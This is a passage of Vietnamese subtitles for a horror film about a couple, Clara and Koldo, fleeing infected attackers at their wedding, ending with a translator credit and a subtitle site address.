00:34:12.330 --> 00:34:14.910
nơi họ sẽ bị trừng phạt

00:34:16.290 --> 00:34:19.240
và là nơi họ sẽ không quay lại

00:34:19.370 --> 00:34:22.120
cho đến Ngày phán xét.

00:34:22.790 --> 00:34:24.790
Koldo, anh ở đâu?

00:34:26.910 --> 00:34:31.370
Anh ấy ở đây!
Cha, anh ấy ở đây.

00:34:44.450 --> 00:34:46.040
Nhanh lên Cha.

00:34:46.330 --> 00:34:47.580
Đây là kết thúc.

00:35:33.830 --> 00:35:35.200
Nhanh lên, Cha!

00:35:43.000 --> 00:35:45.450
Cha! Cha!

00:35:45.580 --> 00:35:46.620
Gì...?

00:35:50.040 --> 00:35:51.790
Con xin lỗi, ta phải đi khỏi đây.

00:36:21.450 --> 00:36:22.580
Đi nào.

00:36:24.290 --> 00:36:25.370
Nhanh!

00:36:43.580 --> 00:36:45.330
Gì thế?

00:37:07.500 --> 00:37:08.740
Đó là...

00:37:09.500 --> 00:37:12.330
...anh sẽ đi xuống phòng máy...

00:37:12.450 --> 00:37:13.700
Rafa?

00:37:17.790 --> 00:37:19.540
Ôi...

00:37:20.370 --> 00:37:22.580
Ô, Clara.

00:37:24.540 --> 00:37:26.620
Em làm quái gì ở đây thế?

00:37:26.950 --> 00:37:29.330
Anh không biết
chuyện gì đang xảy ra hả?

00:37:32.370 --> 00:37:34.410
Không.

00:37:36.830 --> 00:37:38.540
Anh sẽ không bao giờ tin nổi...

00:37:44.040 --> 00:37:45.740
Đường đó.

00:38:35.080 --> 00:38:37.910
Tầng một, hàng lang bên trái.
Trung tâm điều khiển ở dưới đó.

00:38:59.910 --> 00:39:04.370
- Em biết chồng mình ở đâu không?
- Không, nhưng ta sẽ tìm anh ấy.

00:39:04.500 --> 00:39:07.240
- Có cách.
- Gì thế?

00:39:07.370 --> 00:39:09.330
Chúng làm theo lệnh.
Ta thấy điều đó.

00:39:09.450 --> 00:39:14.540
Chúng đi một mình. Chúng làm
bất cứ gì một kẻ ác hơn bảo chúng.

00:39:14.660 --> 00:39:16.160
Sao Cha biết những điều đó?

00:39:16.290 --> 00:39:20.120
Cha đâu nghĩ ra.
Con sẽ hiểu khi thấy chúng hành động.

00:39:20.250 --> 00:39:23.240
Trong Kinh thánh có nói.

00:39:23.370 --> 00:39:26.370
Cô sẽ tự hỏi lý do nào khiến
mọi người nghĩ gái Pháp dâm đãng.

00:39:26.500 --> 00:39:28.450
Chúng có thể xác...

00:39:37.120 --> 00:39:40.120
Nhanh lên.
Đi nào. Nhanh.

00:39:49.620 --> 00:39:50.870
Chúa ơi...

00:39:52.540 --> 00:39:55.160
Là ả.
Cha Albelda đúng rồi.

00:39:55.290 --> 00:39:57.120
Nhanh lên!

00:39:58.450 --> 00:40:00.450
Cố lên. Đừng dừng lại.

00:40:00.580 --> 00:40:02.660
Nhanh lên!
Cố lên, Clara!

00:40:02.790 --> 00:40:05.950
Chúa là người dẫn dắt con,
con sẽ không muốn...

00:40:06.910 --> 00:40:08.580
Dù con có đi vào
thung lũng của bóng tối tử thần,

00:40:08.700 --> 00:40:11.660
con sẽ không sợ quỷ dữ,
vì Người ở bên cao.

00:40:11.790 --> 00:40:13.540
Gậy và trượng của Người an ủi con.

00:40:14.700 --> 00:40:17.990
Tình yêu và sự tử tế của Người
sẽ luôn theo con từng ngày trong đời mình,

00:40:18.120 --> 00:40:20.240
và con sẽ sống mãi
trong ngôi nhà của Người,

00:40:21.000 --> 00:40:23.660
Con đã ba lần xin Người
cho con tự do,

00:40:23.790 --> 00:40:26.370
nhưng Người đã trả lời:
"Hồng ân của ta là đủ rồi,

00:40:26.500 --> 00:40:29.040
vì sức mạnh của ta
sẽ chiến thắng điểm yếu".

00:40:29.160 --> 00:40:31.660
Con sẽ tự hào về tất cả
điểm yếu của mình,

00:40:31.790 --> 00:40:34.790
để sức mạnh của Chúa
có thể ngự trị trong con.

00:40:34.910 --> 00:40:37.620
Con hài lòng với lời lăng mạ,
khó khăn hay sự áp bức,

00:40:37.750 --> 00:40:40.200
và thiên tai nhân danh Người;

00:40:40.330 --> 00:40:44.910
Vì con sẽ trước yếu sau mạnh.

00:41:04.580 --> 00:41:15.080
Clara?

00:43:01.620 --> 00:43:03.450
Không thể thấy gì cả.

00:43:04.450 --> 00:43:05.870
Ta đang ở đâu?

00:43:06.250 --> 00:43:07.620
Không biết.

00:43:09.700 --> 00:43:10.740
Đường này.

00:43:21.410 --> 00:43:22.410
Chúa ơi!

00:43:23.750 --> 00:43:24.790
Khỉ thật!

00:43:25.250 --> 00:43:26.660
Oh Oh Oh Oh!

00:43:48.540 --> 00:43:49.450
Có ai không?

00:43:50.500 --> 00:43:51.790
Ai đấy?

00:43:52.370 --> 00:43:53.200
Cấm nhúc nhích!

00:43:53.330 --> 00:43:56.740
Tôi đây, người đầu trò con nít.
Sponge John.

00:43:57.080 --> 00:43:58.290
Chúa ơi.

00:43:59.290 --> 00:44:00.200
Ý anh là Bob?

00:44:00.330 --> 00:44:02.700
Đó là vấn đề bản quyền, và...

00:44:04.540 --> 00:44:06.580
Bob, xin bỏ súng xuống.

00:44:07.160 --> 00:44:09.700
Tôi lấy nó từ bảo vệ.
Chả biết có lên đạn hay chưa.

00:44:09.910 --> 00:44:12.580
Đừng để cái bật lửa đó quá gần.
Thứ này dễ bắt lửa lắm.

00:44:13.250 --> 00:44:15.870
Giúp tôi nâng cái này lên.
Nó thật nặng.

00:44:16.000 --> 00:44:17.870
Bộ đồ Sponge này chẳng giúp gì được.

00:44:18.250 --> 00:44:19.580
Sao không cởi nó ra?

00:44:19.830 --> 00:44:21.830
Vì tôi không mặc
cái đồ lót nào cả.

00:44:22.160 --> 00:44:23.200
Có đèn trong đó không?

00:44:23.500 --> 00:44:26.290
Có, và một hộp điều khiển
trên bức tường ở đó.

00:44:30.000 --> 00:44:33.330
Clara, chúng là gì thế?

00:44:33.370 --> 00:44:36.120
Không biết.

00:44:37.000 --> 00:44:39.990
Chúng ta sẽ thoát khỏi đây.
Đừng lo.

00:44:40.120 --> 00:44:41.450
...hai, ba!

00:44:43.620 --> 00:44:46.040
Suýt nữa là tôi
đã định không đến.

00:44:46.750 --> 00:44:47.700
Cái gì?

00:44:48.500 --> 00:44:51.660
Tôi đã nghĩ đến chuyện không đến.

00:44:51.910 --> 00:44:55.790
Sự thật là,
tôi đã ngạc nhiên khi được mời.

00:44:57.120 --> 00:44:59.450
Nhiều năm rồi chúng ta chưa gặp nhau.

00:45:00.330 --> 00:45:07.490
Tôi đã tử tế mời bạn.
Vì tôi nghĩ bạn không đến.

00:45:10.700 --> 00:45:17.660
Tôi tìm trên mạng và tìm được
một cái vé rất rẻ.

00:45:22.040 --> 00:45:23.620
Đậu má!

00:45:26.580 --> 00:45:27.950
Xin lỗi.

00:45:30.660 --> 00:45:31.240
Không!

00:45:31.290 --> 00:45:33.290
Đưa khẩu súng bùi đó ngay!

00:45:38.500 --> 00:45:40.660
Tôi rất xin lỗi khi
đã mời bạn đến đám cưới mình.

00:45:41.120 --> 00:45:42.540
Chúa ơi!

00:45:46.540 --> 00:45:48.540
Natalié, Natalié.

00:45:52.160 --> 00:45:53.540
Clara, nhanh!

00:45:57.080 --> 00:45:58.870
Clara! Clara!

00:46:28.870 --> 00:46:32.240
Đường này! Nhanh lên!

00:46:32.290 --> 00:46:34.870
- Nhanh lên, Clara!
- Chờ với!

00:46:39.160 --> 00:46:40.120
Chuyện gì thế?

00:46:40.200 --> 00:46:41.790
Tôi nghĩ mình thấy gì đó...

00:46:44.410 --> 00:46:45.740
Đi rồi xem sao.

00:46:46.120 --> 00:46:47.240
Nhanh.

00:46:48.290 --> 00:46:51.540
Clara, em ở lại đây.
Bọn anh sẽ xem có an toàn hay không.

00:47:53.950 --> 00:48:09.700
Mẹ?

00:48:57.830 --> 00:49:01.700
Clara, bỏ đi.
Chúng ta phải đi.

00:49:03.620 --> 00:49:06.120
Clara, kệ bà ấy, đi thôi.

00:49:07.080 --> 00:49:08.450
Đây là mẹ em.

00:49:08.540 --> 00:49:10.620
Clara, nó không phải mẹ em.

00:49:10.750 --> 00:49:12.410
Kệ nó, đi thôi.

00:49:13.000 --> 00:49:15.910
Nhanh, Clara, chúng đang đến.
Nhanh lên!

00:49:16.080 --> 00:49:18.870
Chạy đi!

00:49:47.250 --> 00:49:48.410
Đây rồi!

00:49:50.540 --> 00:49:51.620
Koldo!

00:49:55.450 --> 00:49:56.490
Clara!

00:49:57.660 --> 00:50:01.410
Nhanh lên, Clara!
Vào nhanh lên!

00:50:34.870 --> 00:50:36.080
Chạy!

00:50:41.830 --> 00:50:42.790
Dừng lại!

00:50:44.120 --> 00:50:46.200
Lối thoát ở đó!

00:50:48.410 --> 00:50:50.830
Chúa ơi, Clara, sao em dừng lại.
Chuyện gì thế?

00:50:51.080 --> 00:50:52.450
Em sẽ không đi
nếu không có Koldo.

00:50:52.870 --> 00:50:54.740
Đừng ngu như bò thế!
Chúng ta phải đi!

00:50:54.870 --> 00:50:56.950
Đừng bảo em phải làm gì!

00:50:58.080 --> 00:50:59.450
Nghe này, Clara...

00:51:01.660 --> 00:51:03.790
nếu Koldo còn sống...

00:51:04.950 --> 00:51:08.330
thì nó sẽ cho chúng ta dấu hiệu
để chúng ta biết.

00:51:20.080 --> 00:51:21.580
Rất tiếc.

00:51:26.370 --> 00:51:28.910
Anh rất tiếc, Clara...

00:52:05.620 --> 00:52:06.950
Là anh ấy.

00:52:08.290 --> 00:52:09.660
Là Koldo.

00:52:10.700 --> 00:52:12.120
Đó là một dấu hiệu.

00:52:15.790 --> 00:52:16.870
Anh ấy ở Phòng chờ.

00:52:16.910 --> 00:52:18.450
Chưa chắc có phải anh ấy không.

00:52:18.580 --> 00:52:20.990
Anh bảo nếu anh ấy còn sống thì
anh ấy sẽ cho chúng ta một dấu hiệu.

00:52:21.660 --> 00:52:23.410
Nó đấy.

00:52:25.750 --> 00:52:27.700
Em sẽ không đi
nếu không có Koldo.

00:52:36.620 --> 00:52:37.540
Chạy đi.

00:52:44.830 --> 00:52:45.990
Giữ váy em.

00:52:46.120 --> 00:52:47.830
- Em làm gì thế?
- Giữ váy em!

00:52:56.080 --> 00:52:57.160
Oa!

00:53:01.500 --> 00:53:03.410
Em đã quyết định.

00:53:03.950 --> 00:53:06.200
Em biết mình sẽ đi đâu.

00:53:34.790 --> 00:53:36.580
Chúng trong này.

00:53:53.660 --> 00:53:55.290
Atún?

00:54:21.370 --> 00:54:24.290
Chú, không!

00:56:30.660 --> 00:56:32.290
Chúng trong này rồi.

00:56:32.370 --> 00:56:34.330
Clara, chạy đi!
Chúng ta phải đi!

00:56:36.700 --> 00:56:38.410
Đéo đời nào.

00:56:43.620 --> 00:56:45.040
Clara, đi nào!

00:56:50.160 --> 00:56:54.200
Hôm nay là ngày của tao!

00:58:08.870 --> 00:58:10.370
Chúa ơi!

00:58:11.040 --> 00:58:13.490
Đậu móa!

00:58:14.000 --> 00:58:15.330
Ô!

00:58:16.160 --> 00:58:18.660
Chúa ơi!

00:58:21.950 --> 00:58:29.290
Rafa?

00:58:34.120 --> 00:58:35.240
Không!

00:58:42.120 --> 00:58:44.120
Clara, Clara...

00:58:47.000 --> 00:58:49.490
Chúa ơi, chuyện này quá quái đản.

00:58:49.700 --> 00:58:51.160
Thật là quá quái đản.

00:58:54.000 --> 00:58:55.910
Anh xin lỗi, Rafa.

00:58:57.250 --> 00:58:58.660
Clara...

01:00:28.250 --> 01:00:29.160
Clara!

01:00:30.080 --> 01:00:33.240
Clara! Anh đây!
Anh đây, em yêu!

01:00:33.450 --> 01:00:34.950
Anh ở trên này!

01:00:39.200 --> 01:00:41.620
Koldo!
Koldo, tình yêu của em!

01:00:41.870 --> 01:00:44.620
Anh đây!

01:00:45.200 --> 01:00:47.490
Em biết mà!

01:00:48.870 --> 01:00:51.330
Lên đây nhanh.
Có thang ở đó!

01:00:56.790 --> 01:00:58.120
Tình yêu của anh...

01:00:58.750 --> 01:01:01.120
Em đến đây...

01:01:12.620 --> 01:01:14.450
Em đến ngay đây!

01:01:15.620 --> 01:01:17.830
Em ổn chứ?

01:01:17.910 --> 01:01:18.660
Anh yêu em.

01:01:19.000 --> 01:01:20.540
Chúng ta sẽ không bao giờ
cách xa nhau nữa nhé?

01:01:20.580 --> 01:01:22.160
- Không.
- Không bao giờ.

01:01:22.950 --> 01:01:24.830
Và chúng ta sẽ thành bố mẹ.

01:01:38.040 --> 01:01:39.580
Chúng ta phải mở nó ra.

01:01:40.250 --> 01:01:42.830
Đồ mở khóa.

01:01:42.950 --> 01:01:45.740
Có một đồ mở khóa
ở Con dao quân đội Thụy Sĩ.

01:01:45.830 --> 01:01:47.120
Hẳn nó rơi ở đâu đó.

01:01:48.290 --> 01:01:49.790
Em phải tìm nó, cưng.

01:01:49.910 --> 01:01:51.990
Đó là cơ hội duy nhất.
Tìm nó đi!

01:01:57.250 --> 01:01:59.450
Nó hẳn ở đâu đó.
Tìm lần nữa đi!

01:02:01.450 --> 01:02:05.160
Nó hẳn phải ở đó.

01:02:06.410 --> 01:02:07.540
Thấy rồi!

01:02:07.870 --> 01:02:09.120
Nhanh lên, mang nó lên!

01:02:17.040 --> 01:02:18.120
Đưa nó đây!

01:02:26.790 --> 01:02:28.330
Chúng đang đến, Koldo!

01:02:29.540 --> 01:02:30.950
Chúng đang đến!

01:02:32.540 --> 01:02:34.450
Mở đi, Koldo!
Mở ra!

01:02:37.000 --> 01:02:38.830
Nhanh lên, Koldo!

01:02:39.000 --> 01:02:41.410
Koldo! Koldo!...

01:02:42.540 --> 01:02:43.790
Thả cô ấy ra!

01:02:45.000 --> 01:02:46.040
Koldo!

01:02:46.660 --> 01:02:49.490
- Em yêu...
- Nhanh, Koldo!

01:03:09.620 --> 01:03:11.080
Anh yêu...

01:03:21.040 --> 01:03:23.910
- Em ổn chứ?
- Ổn, còn anh?

01:03:24.910 --> 01:03:26.450
Ổn.

01:03:31.000 --> 01:03:35.160
- Chuyện gì thế?
- Anh không biết.

01:03:40.620 --> 01:03:42.040
Giờ chúng ta làm gì?

01:03:42.290 --> 01:03:44.450
Đường thông gió!

01:03:44.500 --> 01:03:46.660
Ta phải đến đó sớm hơn.

01:04:05.830 --> 01:04:08.490
Em sẽ thành
một người mẹ tuyệt vời.

01:04:17.950 --> 01:04:21.040
Anh yêu em.

01:04:25.080 --> 01:04:28.990
Vào thuở sơ khải,
Chúa đã tạo ra thiên đường và trái đất.

01:04:29.040 --> 01:04:31.290
Trái đất chưa có hình hài...

01:04:31.370 --> 01:04:34.580
và bóng tối bao trùm bề mặt.

01:04:34.750 --> 01:04:37.200
Chúa đã tách ánh sáng từ bóng tối.

01:04:37.450 --> 01:04:40.330
Chúa đã gọi ánh sáng
là ban ngày và...

01:04:40.540 --> 01:04:42.950
gọi bóng tối là ban đêm.

01:04:43.330 --> 01:04:44.700
Chúng dừng lại.

01:04:44.790 --> 01:04:47.950
Rồi buổi tốt và sáng
là ngày đầu tiên.

01:04:48.120 --> 01:04:51.040
Chúng đang dừng lại.
Sao chúng dừng lại?

01:04:51.660 --> 01:04:53.370
Không biết.

01:04:55.540 --> 01:04:56.870
Nhưng đi thôi.

01:04:56.950 --> 01:05:01.660
Hãy để nước dưới thiên đàng
cùng nhau tụ về một chỗ,

01:05:01.700 --> 01:05:04.370
và hãy để vùng đất khô xuất hiện.

01:05:04.580 --> 01:05:07.740
Chúa đã gọi vùng đất khô là Trái đất;

01:05:08.330 --> 01:05:12.160
chỗ nước tụ về gọi là Biển...

01:05:51.660 --> 01:05:54.080
Đây là gia đình chúng ta?

01:05:55.580 --> 01:05:56.870
Koldo...

01:05:57.000 --> 01:06:00.790
Không còn nữa rồi.

01:06:05.250 --> 01:06:07.330
...ở giữa các dòng nước.

01:06:07.500 --> 01:06:11.910
Rồi Chúa nói, hãy có ánh sáng:
và ánh sáng xuất hiện.

01:06:13.910 --> 01:06:17.620
Và hãy để ánh sáng
trong bầu trời thiên đường

01:06:17.700 --> 01:06:20.040
soi sáng trái đất...

01:07:21.620 --> 01:07:24.240
Không!

01:07:25.250 --> 01:07:27.950
Không!

01:07:28.540 --> 01:07:29.870
Không!

01:07:30.660 --> 01:07:34.040
Đậu móa ông nội và
cái tai nghe chết dẫm!

01:07:54.370 --> 01:07:55.490
Thanh gươm.

01:07:59.200 --> 01:08:00.660
Lấy thanh gươm.

01:08:06.120 --> 01:08:07.950
Chặt đi, Koldo...

01:08:18.620 --> 01:08:19.990
Nhanh lên!

01:08:31.910 --> 01:08:33.240
Chặt đi!

01:08:58.620 --> 01:09:01.160
Làm tốt lắm, anh yêu.

01:09:11.620 --> 01:09:14.450
Anh sẽ là một người bố tuyệt vời.

01:10:16.790 --> 01:10:20.910
Koldo, có người ngoài đó!

01:11:28.450 --> 01:11:31.950
Ở yên trong đó,
không được ra ngoài!

01:11:33.700 --> 01:11:38.450
Ở trong đó!
Nhắc lại, không được ra!

01:11:38.500 --> 01:11:41.040
Ở trong đó!

01:11:41.750 --> 01:11:43.240
Nhắc lại...

01:12:15.370 --> 01:12:18.410
Bỏ ả xuống đất!
Ả đã bị nhiễm!

01:12:19.160 --> 01:12:21.790
Nhắc lại, bỏ ả xuống đất!

01:12:22.040 --> 01:12:23.700
Biến đi!

01:12:27.830 --> 01:12:29.620
Ả đã bị nhiễm!

01:12:30.000 --> 01:12:35.240
Nhắc lại, tránh ra!
Bỏ ả xuống đất ngay!

01:14:06.160 --> 01:14:24.860
davidseanghia
.: www.phudeviet.org :.

ZeroDay Forums Mini